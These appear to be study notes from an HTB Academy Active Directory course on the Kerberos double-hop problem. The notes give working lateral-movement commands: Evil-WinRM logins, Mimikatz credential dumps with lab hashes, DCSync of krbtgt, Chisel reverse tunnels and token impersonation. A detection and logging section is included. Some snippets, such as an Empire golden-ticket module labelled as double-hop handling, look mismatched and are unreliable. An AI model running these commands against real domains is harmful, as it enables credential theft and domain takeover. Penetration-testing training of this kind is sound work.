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🎭 Kerberos "Double Hop" Problem

🎯 HTB Academy: Active Directory Enumeration & Attacks

📍 Overview

The Kerberos "Double Hop" Problem is a critical authentication limitation that occurs when attempting to use Kerberos authentication across two or more network hops. This problem frequently arises during lateral movement operations, particularly when using WinRM/PowerShell remoting, and can significantly impact penetration testing and red team operations. Understanding and overcoming this limitation is essential for successful Active Directory exploitation and lateral movement.

🔗 Attack Chain Context

Complete Active Directory Compromise Timeline:

Privileged Access → Double Hop Problem → Lateral Movement Solutions → Infrastructure Control
 (WinRM Access)     (Authentication)      (Credential Workarounds)     (Domain Domination)

Prerequisites from Previous Modules:

  • Privileged access achieved: WinRM/PSRemote rights discovered via BloodHound
  • Valid domain credentials: Obtained through various attack vectors
  • Remote access established: Initial connection to target hosts
  • Multi-hop requirements: Need to access additional resources from compromised hosts

🧠 Technical Fundamentals

Kerberos vs. NTLM Authentication

Kerberos Ticket-Based Authentication

  • Tickets are NOT passwords: Signed pieces of data from KDC stating resource access rights
  • Resource-specific: Each ticket grants access to a specific resource/service
  • Non-transferable: Tickets cannot be reused for different services without proper delegation
  • Time-limited: Tickets have expiration times and renewal periods
  • Delegation-dependent: Require specific delegation configurations for multi-hop scenarios

NTLM Hash-Based Authentication

  • Hash storage: NTLM hash stored in session memory after authentication
  • Reusable: Hash can be used for subsequent authentication attempts
  • Session-persistent: Available for duration of user session
  • Multi-hop capable: Can authenticate to multiple resources without additional configuration

The Core Problem Explained

What Happens During Kerberos Authentication

  1. Initial Authentication: User authenticates to KDC, receives TGT (Ticket Granting Ticket)
  2. Service Request: User requests TGS (Ticket Granting Service) ticket for specific service
  3. Service Access: TGS ticket sent to target service for authentication
  4. Session Establishment: Service validates ticket and grants access

Why the Double Hop Fails

Attack Host → Target Host A → Target Host B
     ↓              ↓             ↓
  Password      TGS Ticket    NO CREDENTIALS
  Available     Available     (TGT not sent)

Critical Issue: When connecting via WinRM/PowerShell remoting:

  • TGS ticket sent: Allows access to the immediate target (Host A)
  • TGT ticket NOT sent: Cannot request new TGS tickets for additional resources (Host B)
  • No credential caching: Password/hash not stored in remote session memory
  • Authentication failure: Subsequent resource access denied

🔍 Practical Demonstration

Scenario Setup

  • Attack Host: Parrot/Kali Linux (domain-external)
  • Target Host A: DEV01 (domain-joined, WinRM accessible)
  • Target Host B: DC01 (Domain Controller, PowerView target)
  • Credentials: INLANEFREIGHT\backupadm with Remote Management Users group membership

Problem Manifestation

1. WinRM Connection Establishment

# Connect via WinRM from Windows host
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm

# Or via Evil-WinRM from Linux
evil-winrm -i 172.16.8.50 -u backupadm -p '!qazXSW@'

2. Credential Analysis with Mimikatz

# From within WinRM session on DEV01
cd 'C:\Users\Public\'
.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

Critical Observation: Mimikatz output shows NO credentials for backupadm user:

Authentication Id : 0 ; 1284107 (00000000:0013980b)
Session           : Interactive from 1
User Name         : srvadmin
Domain            : INLANEFREIGHT
Logon Server      : DC01
Logon Time        : 6/28/2022 3:46:05 PM
SID               : S-1-5-21-1666128402-2659679066-1433032234-1107
        msv :
         [00000003] Primary
         * Username : srvadmin
         * Domain   : INLANEFREIGHT
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
         * DPAPI    : 64fa83034ef8a3a9b52c1861ac390bce
        tspkg :
        wdigest :
         * Username : srvadmin
         * Domain   : INLANEFREIGHT
         * Password : (null)
        kerberos :
         * Username : srvadmin
         * Domain   : INLANEFREIGHT.LOCAL
         * Password : (null)
        ssp :
        credman :

Process Verification: WinRM processes running as backupadm:

tasklist /V |findstr backupadm
# Output:
# wsmprovhost.exe    1844 Services    0    85,212 K Unknown    INLANEFREIGHT\backupadm    0:00:03 N/A

3. Ticket Analysis

# Check cached Kerberos tickets
klist

# Output shows only local service ticket:
Current LogonId is 0:0x57f8a

Cached Tickets: (1)

#0> Client: backupadm @ INLANEFREIGHT.LOCAL
    Server: academy-aen-ms0$ @
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0xa10000 -> renewable pre_authent name_canonicalize
    Start Time: 6/28/2022 7:31:53 (local)
    End Time:   6/28/2022 7:46:53 (local)
    Renew Time: 7/5/2022 7:31:18 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x4 -> S4U
    Kdc Called: DC01.INLANEFREIGHT.LOCAL

4. PowerView Failure Demonstration

# Import PowerView module
import-module .\PowerView.ps1

# Attempt domain enumeration (FAILS)
get-domainuser -spn

# Error Output:
Exception calling "FindAll" with "0" argument(s): "An operations error occurred."
At C:\Users\backupadm\Documents\PowerView.ps1:5253 char:20
+             else { $Results = $UserSearcher.FindAll() }
+                    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DirectoryServicesCOMException

🛠️ Workaround Solutions

🔧 Workaround #1: PSCredential Object Method

Applicable Scenarios

  • Evil-WinRM sessions: Works perfectly with Linux attack hosts
  • Non-interactive sessions: No GUI access required
  • Command-by-command basis: Credentials passed with each PowerView command
  • Flexibility: Can be used with any PowerShell cmdlet supporting -Credential parameter

Implementation Steps

1. Establish WinRM Session:

# From Linux attack host
evil-winrm -i 172.16.8.50 -u backupadm -p '!qazXSW@'

2. Create PSCredential Object:

# Convert password to SecureString
$SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force

# Create PSCredential object
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)

3. Execute Commands with Credentials:

# Import PowerView
import-module .\PowerView.ps1

# Successful domain enumeration with credential object
get-domainuser -spn -credential $Cred | select samaccountname

# Expected Output:
samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

4. Verification of Failure Without Credentials:

# Attempt without credential object (FAILS)
get-domainuser -spn | select samaccountname

# Error Output:
Exception calling "FindAll" with "0" argument(s): "An operations error occurred."

Advantages of PSCredential Method

  • ✅ Works with Evil-WinRM: Perfect for Linux-based attack hosts
  • ✅ No GUI required: Fully command-line compatible
  • ✅ Flexible application: Can be used with any credential-supporting cmdlet
  • ✅ Immediate solution: No service restarts or configuration changes required

Limitations of PSCredential Method

  • ❌ Command-by-command: Must specify credentials with each command
  • ❌ Tool compatibility: Some tools may not support -Credential parameter
  • ❌ Verbose syntax: Increases command complexity

🔧 Workaround #2: Register PSSession Configuration Method

Applicable Scenarios

  • GUI access available: RDP or physical console access to Windows host
  • Administrative privileges: Ability to register PSSession configurations
  • Persistent sessions: Long-term enumeration without repeated credential passing
  • Tool compatibility: Works with tools that don't support -Credential parameter

Prerequisites

  • Windows attack host or compromised domain-joined machine
  • GUI access via RDP
  • Administrative privileges on the host
  • PowerShell console (not Evil-WinRM)

Implementation Steps

1. Initial WinRM Connection:

# From Windows PowerShell console
Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadm

2. Verify Double Hop Problem:

# Check cached tickets (shows only HTTP service ticket)
klist

# Output:
Current LogonId is 0:0x11e387
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
    Server: HTTP/ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize

3. Register New PSSession Configuration:

# Exit current session first
Exit-PSSession

# Register new session configuration with RunAs credentials
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm

# WARNING: When RunAs is enabled in a Windows PowerShell session configuration, 
# the Windows security model cannot enforce a security boundary between different 
# user sessions that are created by using this endpoint.

4. Restart WinRM Service:

# Restart WinRM service (will disconnect current sessions)
Restart-Service WinRM

5. Connect Using Named Configuration:

# Establish new session with registered configuration
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName backupadmsess

6. Verify Ticket Availability:

# Check cached tickets (now shows TGT!)
klist

# Output:
Current LogonId is 0:0x2239ba
Cached Tickets: (1)
#0> Client: backupadm @ INLANEFREIGHT.LOCAL
    Server: krbtgt/INLANEFREIGHT.LOCAL @ INLANEFREIGHT.LOCAL
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
    Start Time: 6/28/2022 13:24:37 (local)
    End Time:   6/28/2022 23:24:37 (local)
    Renew Time: 7/5/2022 13:24:37 (local)
    Session Key Type: AES-256-CTS-HMAC-SHA1-96
    Cache Flags: 0x1 -> PRIMARY
    Kdc Called: DC01

7. Successful Domain Enumeration:

# Import PowerView
Import-Module .\PowerView.ps1

# Execute commands without credential object
get-domainuser -spn | select samaccountname

# Successful Output:
samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

Advantages of PSSession Configuration Method

  • ✅ Persistent solution: No need to pass credentials with each command
  • ✅ Tool compatibility: Works with all PowerShell tools and modules
  • ✅ Native authentication: Proper Kerberos ticket caching
  • ✅ Performance: Faster execution without repeated authentication

Limitations of PSSession Configuration Method

  • ❌ GUI requirement: Cannot be used with Evil-WinRM
  • ❌ Administrative privileges: Requires ability to register PSSession configurations
  • ❌ Service restart: Requires WinRM service restart
  • ❌ Platform limitation: Does not work from Linux PowerShell due to Kerberos limitations

🎯 Attack Scenarios and Use Cases

Common Double Hop Scenarios

Scenario 1: Linux Attack Host → Windows Target → Domain Controller

Parrot Linux → DEV01 (WinRM) → DC01 (PowerView/BloodHound)

Solution: PSCredential Object method via Evil-WinRM

Scenario 2: Windows Attack Host → Jump Host → Internal Servers

Windows Attack Box → Jump Server (RDP/PSSession) → File Servers/SQL Servers

Solution: PSSession Configuration or PSCredential Object method

Scenario 3: Compromised Workstation → Domain Controller → Trust Domains

User Workstation → DC01 (DCSync) → Trusted Domain Controllers

Solution: Depends on delegation configuration and trust relationship

Real-World Impact Examples

PowerView Domain Enumeration

# These commands require Domain Controller communication:
Get-DomainUser -SPN                    # Kerberoastable accounts
Get-DomainComputer                     # Domain computers
Get-DomainGroupMember "Domain Admins"  # Privileged users
Find-LocalAdminAccess                  # Local admin rights
Get-DomainTrust                        # Trust relationships

BloodHound Data Collection

# SharpHound requires extensive AD queries:
.\SharpHound.exe -c All                # Complete domain enumeration
.\SharpHound.exe -c Session,LoggedOn   # Session and logon data

Credential Dumping Operations

# Mimikatz DCSync (requires DC communication):
.\mimikatz "lsadump::dcsync /user:krbtgt" exit
.\mimikatz "lsadump::dcsync /user:Administrator" exit

🔍 Technical Deep Dive

Unconstrained Delegation Exception

When Double Hop Problem Doesn't Occur

If unconstrained delegation is enabled on a server:

  • TGT ticket forwarded: User's TGT sent along with TGS request
  • Credential caching: Target server caches user's TGT
  • Impersonation capability: Server can request TGS tickets on user's behalf
  • Attack opportunity: Unconstrained delegation servers are high-value targets

Identifying Unconstrained Delegation

# PowerView query for unconstrained delegation
Get-DomainComputer -Unconstrained | select name

# LDAP query for unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

Constrained Delegation Scenarios

Service-Specific Delegation

  • Limited scope: Delegation only to specific services
  • Protocol transition: May allow protocol changes (Kerberos to NTLM)
  • S4U2Self/S4U2Proxy: Service for User extensions enable constrained delegation

Resource-Based Constrained Delegation (RBCD)

  • Target-controlled: Delegation configured on target resource
  • Modern approach: Newer delegation method in Windows 2012+
  • Attack vector: Can be abused if target object permissions allow modification

🔐 Alternative Solutions and Advanced Techniques

CredSSP (Credential Security Support Provider)

Implementation

# Enable CredSSP on client
Enable-WSManCredSSP -Role Client -DelegateComputer "target-server"

# Enable CredSSP on server
Enable-WSManCredSSP -Role Server

# Connect using CredSSP
Enter-PSSession -ComputerName "target" -Credential $cred -Authentication CredSSP

Security Considerations

  • Credential exposure: Sends credentials to remote server
  • Security risk: Credentials cached on target system
  • Use with caution: Only in trusted environments

Port Forwarding Solutions

SSH Tunneling

# Forward RDP through SSH tunnel
ssh -L 3389:target-dc:3389 user@jump-host

# Forward LDAP through SSH tunnel
ssh -L 389:target-dc:389 user@jump-host

Chisel/SocksOverRDP

# SOCKS proxy for application-layer forwarding
./chisel server -p 8080 --reverse
./chisel client target-ip:8080 R:1080:socks

Process Injection Techniques

Token Impersonation

# Inject into process running as target user
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "target-user"

Sacrificial Process Method

  • Create process: Start new process as target user
  • Inject payload: Insert shellcode or .NET assembly
  • Inherit context: Process runs with target user's full credentials

🛡️ Detection and Defensive Measures

Monitoring Double Hop Workarounds

PSSession Configuration Detection

# Monitor PSSession configuration changes
Get-PSSessionConfiguration

# Event ID monitoring:
# 4103 - PowerShell Script Block Logging
# 4104 - PowerShell Script Block Logging (detailed)
# 400-403 - Windows Remote Management events

CredSSP Usage Detection

# Monitor CredSSP configuration changes
Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation"

# Event ID monitoring:
# 4624 - Account logon (Network, Type 3)
# 4648 - Logon with explicit credentials

PowerShell Logging Enhancement

Script Block Logging

# Enable detailed PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockInvocationLogging" -Value 1

Module Logging

# Enable PowerShell module logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" -Name "*" -Value "*"

Network Monitoring

Kerberos Traffic Analysis

  • AS-REQ/AS-REP: Initial authentication requests
  • TGS-REQ/TGS-REP: Service ticket requests
  • Unusual patterns: Multiple service ticket requests from single host
  • Cross-subnet authentication: Unexpected Kerberos traffic patterns

WinRM Traffic Monitoring

  • Port 5985/5986: Monitor WinRM HTTP/HTTPS traffic
  • SOAP XML analysis: Examine WinRM command content
  • Session duration: Identify long-running remote sessions

🚀 Advanced Attack Chains

Double Hop in Complex Scenarios

Multi-Domain Trust Exploitation

Attack Host → Domain A Server → Domain B Controller → Domain C Resources

Challenges:

  • Cross-domain authentication: Different Kerberos realms
  • Trust relationship dependencies: Transitive vs. non-transitive trusts
  • Delegation configurations: Per-domain delegation settings

Cloud Hybrid Environments

On-Premises → Azure AD Connect → Azure AD → Cloud Resources

Considerations:

  • Authentication protocols: Kerberos vs. SAML vs. OAuth
  • Credential synchronization: Password hash sync vs. pass-through authentication
  • Hybrid identity: On-premises accounts with cloud access

Automation and Scripting

Automated Workaround Implementation

# Function to handle double hop automatically
function Invoke-DoubleHopWorkaround {
    param(
        [string]$ComputerName,
        [PSCredential]$Credential,
        [string]$Command
    )
    
    # Create PSCredential object
    $SecPassword = ConvertTo-SecureString $Credential.GetNetworkCredential().Password -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential($Credential.UserName, $SecPassword)
    
    # Execute command with credential passing
    Invoke-Command -ComputerName $ComputerName -Credential $Credential -ScriptBlock {
        param($Cred, $Cmd)
        Invoke-Expression "$Cmd -Credential `$Cred"
    } -ArgumentList $Cred, $Command
}

PowerShell Empire Integration

# Empire module for double hop handling
usemodule credentials/mimikatz/golden_ticket
set Credential domain\user:password
set Target target-server
execute

📊 Key Takeaways

Technical Understanding

  1. Kerberos vs. NTLM: Fundamental difference in credential handling
  2. Ticket mechanics: TGT vs. TGS ticket usage and limitations
  3. Authentication delegation: Constrained, unconstrained, and resource-based delegation
  4. Network protocols: WinRM, RDP, and their authentication mechanisms

Practical Solutions

  1. PSCredential Object: Universal solution for Evil-WinRM and command-line scenarios
  2. PSSession Configuration: Persistent solution for GUI-accessible Windows hosts
  3. Alternative methods: CredSSP, port forwarding, and process injection techniques
  4. Tool compatibility: Understanding which tools support which workarounds

Operational Considerations

  1. Attack platform: Linux vs. Windows attack host capabilities
  2. Target environment: Domain topology and delegation configurations
  3. Detection risk: Monitoring and logging considerations
  4. Persistence vs. stealth: Balancing effectiveness with operational security

Professional Application

  • Red team operations: Realistic attack simulation with proper lateral movement
  • Penetration testing: Comprehensive domain exploitation methodology
  • Security assessment: Understanding authentication boundaries and limitations
  • Incident response: Recognizing double hop exploitation techniques

🔑 Complete mastery of Kerberos "Double Hop" Problem - from technical understanding through practical workarounds to advanced attack chains - representing essential Active Directory lateral movement expertise for enterprise penetration testing!